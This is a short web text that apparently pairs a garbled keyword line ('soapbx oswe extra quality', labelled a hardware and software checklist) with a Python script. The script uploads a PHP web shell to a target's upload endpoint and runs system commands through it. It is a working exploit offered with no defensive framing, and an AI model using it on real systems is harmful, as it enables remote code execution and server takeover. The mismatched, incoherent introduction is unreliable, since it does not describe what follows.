To achieve "soapbx oswe extra quality," follow this hardware and software checklist:
import requests
s = requests.Session()
# upload file
files = 'file': ('shell.php', '<?php system($_GET["c"]); ?>', 'application/octet-stream')
r = s.post('https://target/upload', files=files)
# trigger or access file
print(s.get('https://target/uploads/shell.php').text)
# execute
print(s.get('https://target/uploads/shell.php?c=whoami').text)